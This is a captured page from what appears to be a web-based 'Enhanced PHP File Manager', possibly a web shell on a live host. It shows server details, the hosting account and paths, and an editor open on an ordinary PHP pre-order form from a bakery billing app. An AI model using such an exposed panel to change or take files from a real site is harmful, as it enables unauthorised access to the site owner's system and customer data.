Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-503.34.1.el9_5.x86_64

PHP Version:

8.2.30

User:

u329947844

Directory:

/home/u329947844/domains/ecommer.in/public_html/billing/bakery/seller

Free Space:

10.31 TB

🔧 Quick Actions

✏️ Editing: Edit Pre-Order.php

<?php
session_start();
require_once 'config/db_config.php';
if (!isset($_SESSION['user_id'])) {
    header("Location: ../login.php"); exit();
}

$branch_id = $_SESSION['branch_id'];
$user_id = $_SESSION['user_id'];
$errors = []; $success = '';
$foods = $pdo->query("SELECT food_name, price FROM foods ORDER BY food_name")->fetchAll(PDO::FETCH_ASSOC);

$edit_mode = false;
$order_data = [];

// Check if we're in edit mode
if (isset($_GET['edit'])) {
    $order_id = (int)$_GET['edit'];
    $edit_mode = true;
    
    try {
        $stmt = $pdo->prepare("
            SELECT * FROM pre_orders 
            WHERE id = :order_id AND branch_id = :branch_id AND created_by = :user_id
        ");
        $stmt->execute([
            ':order_id' => $order_id,
            ':branch_id' => $branch_id,
            ':user_id' => $user_id
        ]);
        $order_data = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if (!$order_data) {
            $errors[] = "Order not found or you don't have permission to edit it";
            $edit_mode = false;
        }
    } catch (Exception $e) {
        $errors[] = "Error fetching order: " . $e->getMessage();
        $edit_mode = false;
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $customer_name     = trim($_POST['customer_name'] ?? '');
    $customer_phone    = trim($_POST['customer_phone'] ?? '');
    $customer_address  = trim($_POST['customer_address'] ?? '');
    $product_name      = trim($_POST['product_name'] ?? '');
    $unit              = $_POST['unit'] ?? '';
    $quantity          = floatval($_POST['quantity'] ?? 0);
    $price_per_unit    = floatval($_POST['price_per_unit'] ?? 0);
    $total_amount      = floatval($_POST['total_amount'] ?? 0);
    $advance_amount    = floatval($_POST['advance_amount'] ?? 0);
    $order_date        = $_POST['order_date'] ?? '';
    $expected_date     = $_POST['expected_date'] ?? '';
    $expected_time     = $_POST['expected_time'] ?? '';
    $occasion          = $_POST['occasion'] ?? '';
    $special_notes     = trim($_POST['special_notes'] ?? '');
    $status            = $_POST['status'] ?? 'pending';

if (empty($customer_name)) $errors[] = "Customer name required.";
    if (empty($customer_phone)) $errors[] = "Phone number required.";
    if (empty($product_name)) $errors[] = "Please enter product name.";
    if (empty($unit)) $errors[] = "Please select unit.";
    if ($quantity <= 0) $errors[] = "Quantity must be > 0.";
    if ($price_per_unit <= 0) $errors[] = "Price must be > 0.";
    if ($total_amount <= 0) $errors[] = "Total amount must be > 0.";
    if ($advance_amount > $total_amount) $errors[] = "Advance cannot exceed total.";

if (empty($errors)) {
        try {
            $pdo->beginTransaction();
            
            if ($edit_mode && isset($_POST['order_id'])) {
                // Update existing order
                $order_id = (int)$_POST['order_id'];
                $stmt = $pdo->prepare("
                    UPDATE pre_orders 
                    SET customer_name = ?, customer_phone = ?, customer_address = ?, food_name = ?, 
                        unit = ?, quantity = ?, price_per_unit = ?, total_amount = ?, advance_amount = ?, 
                        balance_amount = ?, order_date = ?, expected_date = ?, expected_time = ?, 
                        occasion = ?, special_notes = ?, status = ?, updated_at = NOW()
                    WHERE id = ? AND branch_id = ? AND created_by = ?
                ");
                $stmt->execute([
                    $customer_name, $customer_phone, $customer_address, $product_name, $unit, $quantity,
                    $price_per_unit, $total_amount, $advance_amount, ($total_amount - $advance_amount),
                    $order_date, $expected_date, $expected_time, $occasion, $special_notes, $status,
                    $order_id, $branch_id, $user_id
                ]);
                
                if ($stmt->rowCount() > 0) {
                    $success = "Pre-Order #$order_id updated successfully!";
                    // Refresh order data
                    $stmt = $pdo->prepare("SELECT * FROM pre_orders WHERE id = ?");
                    $stmt->execute([$order_id]);
                    $order_data = $stmt->fetch(PDO::FETCH_ASSOC);
                } else {
                    $errors[] = "No changes made or order not found.";
                }
            } else {
                // Create new order
                $stmt = $pdo->prepare("
                    INSERT INTO pre_orders 
                    (branch_id, customer_name, customer_phone, customer_address, food_name, unit, quantity, price_per_unit,
                     total_amount, advance_amount, balance_amount, order_date, expected_date, expected_time,
                     occasion, special_notes, status, created_by)
                    VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
                ");
                $stmt->execute([
                    $branch_id, $customer_name, $customer_phone, $customer_address, $product_name, $unit, $quantity,
                    $price_per_unit, $total_amount, $advance_amount, ($total_amount - $advance_amount),
                    $order_date, $expected_date, $expected_time, $occasion, $special_notes, $status, $user_id
                ]);
                $id = $pdo->lastInsertId();
                $success = "Pre-Order #$id created successfully!";
                $_POST = [];
            }
            
            $pdo->commit();
        } catch (Exception $e) {
            $pdo->rollBack();
            $errors[] = "Error: " . $e->getMessage();
        }
    }
}

// If in edit mode, populate form data from order_data
if ($edit_mode && $order_data) {
    $customer_name = $order_data['customer_name'];
    $customer_phone = $order_data['customer_phone'];
    $customer_address = $order_data['customer_address'];
    $product_name = $order_data['food_name'];
    $unit = $order_data['unit'];
    $quantity = $order_data['quantity'];
    $price_per_unit = $order_data['price_per_unit'];
    $total_amount = $order_data['total_amount'];
    $advance_amount = $order_data['advance_amount'];
    $order_date = $order_data['order_date'];
    $expected_date = $order_data['expected_date'];
    $expected_time = $order_data['expected_time'];
    $occasion = $order_data['occasion'];
    $special_notes = $order_data['special_notes'];
    $status = $order_data['status'];
}
?>

<?php include './partials/layouts/layoutTop.php'; ?>

<div class="dashboard-main-body">
    <div class="d-flex flex-wrap align-items-center justify-content-between gap-3 mb-24">
        <h6 class="fw-semibold mb-0">
            <?php echo $edit_mode ? 'Edit Pre-Order #' . $order_data['id'] : 'New Pre-Order (Cakes & Custom Items)'; ?>
        </h6>
        <a href="preorders.php" class="btn btn-outline-primary btn-sm">All Orders</a>
    </div>

<?php if ($success): ?>
                <div class="alert alert-success alert-dismissible fade show">
                    <strong>Success!</strong> <?= $success ?>
                    <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
                </div>
            <?php endif; ?>

<?php if (!empty($errors)): ?>
                <div class="alert alert-danger alert-dismissible fade show">
                    <ul class="mb-0">
                        <?php foreach ($errors as $e): ?><li><?= htmlspecialchars($e) ?></li><?php endforeach; ?>
                    </ul>
                    <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
                </div>
            <?php endif; ?>

<div class="col-12 border-bottom pb-3"><h6 class="text-primary fw-bold">Customer Details</h6></div>
                <div class="col-md-4">
                    <input type="text" name="customer_name" class="form-control" placeholder="Name *" 
                           value="<?= htmlspecialchars($customer_name ?? '') ?>" required>
                </div>
                <div class="col-md-4">
                    <input type="text" name="customer_phone" class="form-control" placeholder="Phone *" 
                           value="<?= htmlspecialchars($customer_phone ?? '') ?>" required>
                </div>
                <div class="col-md-4">
                    <input type="text" name="customer_address" class="form-control" placeholder="Address" 
                           value="<?= htmlspecialchars($customer_address ?? '') ?>">
                </div>

<div class="col-12 border-bottom pb-3 mt-4"><h6 class="text-primary fw-bold">Product Details</h6></div>

<div class="col-md-6">
                    <input type="text" name="product_name" list="cakeList" class="form-control" 
                           placeholder="Type or select cake name" value="<?= htmlspecialchars($product_name ?? '') ?>" required>
                    <datalist id="cakeList">
                        <?php foreach ($foods as $f): ?>
                            <option value="<?= htmlspecialchars($f['food_name']) ?>" data-price="<?= $f['price'] ?>">
                        <?php endforeach; ?>
                    </datalist>
                </div>

<div class="col-md-2">
                    <input type="number" step="0.01" name="price_per_unit" id="price_per_unit" class="form-control fw-bold text-primary" 
                           placeholder="Price ₹" value="<?= $price_per_unit ?? '' ?>" required>
                </div>

<div class="col-md-2">
                    <input type="number" step="0.01" name="quantity" id="quantity" class="form-control" min="0.01" 
                           value="<?= $quantity ?? '1' ?>" required>
                </div>

<div class="col-md-2">
                    <select name="unit" class="form-select" required>
                        <option value="">Unit</option>
                        <option value="piece" <?= ($unit ?? '') == 'piece' ? 'selected' : '' ?>>Piece</option>
                        <option value="kg" <?= ($unit ?? '') == 'kg' ? 'selected' : '' ?>>KG</option>
                    </select>
                </div>

<div class="col-12 mt-4">
                    <div class="row g-3 text-center">
                        <div class="col-md-4">
                            <div class="bg-light p-4 rounded border">
                                <small>Total Amount</small>
                                <input type="number" step="0.01" name="total_amount" id="total_amount" 
                                       class="form-control form-control-lg text-primary fw-bold text-center border-0 bg-transparent" 
                                       value="<?= $total_amount ?? '' ?>" required>
                            </div>
                        </div>
                        <div class="col-md-4">
                            <div class="bg-light p-4 rounded border">
                                <small>Advance Paid</small>
                                <input type="number" step="0.01" name="advance_amount" id="advance_amount" 
                                       class="form-control form-control-lg text-success fw-bold text-center" 
                                       value="<?= $advance_amount ?? '0' ?>">
                            </div>
                        </div>
                        <div class="col-md-4">
                            <div class="bg-danger text-white p-4 rounded">
                                <small>Balance</small>
                                <h5 class="mb-0">₹<span id="balanceAmount"><?= number_format(($total_amount ?? 0) - ($advance_amount ?? 0), 2) ?></span></h5>
                            </div>
                        </div>
                    </div>
                </div>

<div class="col-12 border-bottom pb-3 mt-4"><h6 class="text-primary fw-bold">Delivery & Occasion</h6></div>
                <div class="col-md-4">
                    <input type="date" name="order_date" class="form-control" 
                           value="<?= $order_date ?? date('Y-m-d') ?>" required>
                </div>
                <div class="col-md-4">
                    <input type="date" name="expected_date" class="form-control" min="<?= date('Y-m-d') ?>" 
                           value="<?= $expected_date ?? '' ?>" required>
                </div>
                <div class="col-md-4">
                    <input type="time" name="expected_time" class="form-control" 
                           value="<?= $expected_time ?? '' ?>" required>
                </div>

<div class="col-md-6">
                    <select name="occasion" class="form-select" required>
                        <option value="">-- Occasion --</option>
                        <option value="Birthday" <?= ($occasion ?? '') == 'Birthday' ? 'selected' : '' ?>>Birthday</option>
                        <option value="Anniversary" <?= ($occasion ?? '') == 'Anniversary' ? 'selected' : '' ?>>Anniversary</option>
                        <option value="Wedding" <?= ($occasion ?? '') == 'Wedding' ? 'selected' : '' ?>>Wedding</option>
                        <option value="Other" <?= ($occasion ?? '') == 'Other' ? 'selected' : '' ?>>Other</option>
                    </select>
                </div>

<div class="col-md-6">
                    <select name="status" class="form-select">
                        <option value="pending" <?= ($status ?? '') == 'pending' ? 'selected' : '' ?>>Pending</option>
                        <option value="confirmed" <?= ($status ?? '') == 'confirmed' ? 'selected' : '' ?>>Confirmed</option>
                        <option value="preparing" <?= ($status ?? '') == 'preparing' ? 'selected' : '' ?>>Preparing</option>
                        <option value="ready" <?= ($status ?? '') == 'ready' ? 'selected' : '' ?>>Ready</option>
                        <option value="delivered" <?= ($status ?? '') == 'delivered' ? 'selected' : '' ?>>Delivered</option>
                        <option value="completed" <?= ($status ?? '') == 'completed' ? 'selected' : '' ?>>Completed</option>
                        <option value="cancelled" <?= ($status ?? '') == 'cancelled' ? 'selected' : '' ?>>Cancelled</option>
                    </select>
                </div>

<div class="col-12 text-end mt-4">
                    <button type="submit" class="btn btn-success btn-sm px-5">
                        <?php echo $edit_mode ? 'Update Pre-Order' : 'Create Pre-Order'; ?>
                    </button>
                    <?php if ($edit_mode): ?>
                        <a href="preorders.php" class="btn btn-outline-secondary btn-sm">Cancel</a>
                    <?php endif; ?>
                </div>
            </form>
            
            <?php if ($edit_mode && $order_data): ?>
                
                <div class="row mt-4 pt-4 border-top">
                    <div class="col-md-6">
                        <small class="text-muted">
                            <strong>Created:</strong> <?= date('M j, Y g:i A', strtotime($order_data['created_at'])) ?>
                        </small>
                    </div>
                    <div class="col-md-6 text-end">
                        <small class="text-muted">
                            <strong>Last Updated:</strong> <?= date('M j, Y g:i A', strtotime($order_data['updated_at'])) ?>
                        </small>
                    </div>
                </div>
            <?php endif; ?>
        </div>
    </div>
</div>

function calculate() {
    const price = parseFloat(document.getElementById('price_per_unit').value) || 0;
    const qty = parseFloat(document.getElementById('quantity').value) || 1;
    const totalField = document.getElementById('total_amount');
    if (price > 0 && qty > 0 && (totalField.value === '' || parseFloat(totalField.value) === 0)) {
        totalField.value = (price * qty).toFixed(2);
    }
    calcBalance();
}

function calcBalance() {
    const total = parseFloat(document.getElementById('total_amount').value) || 0;
    const advance = parseFloat(document.getElementById('advance_amount').value) || 0;
    document.getElementById('balanceAmount').textContent = (total - advance).toFixed(2);
}

document.querySelectorAll('#price_per_unit, #quantity, #total_amount, #advance_amount').forEach(el => {
    el.addEventListener('input', () => { calculate(); calcBalance(); });
});

// Initialize calculations on page load
document.addEventListener('DOMContentLoaded', function() {
    calculate();
    calcBalance();
});
</script>

<?php include './partials/layouts/layoutBottom.php'; ?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: Edit Pre-Order.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation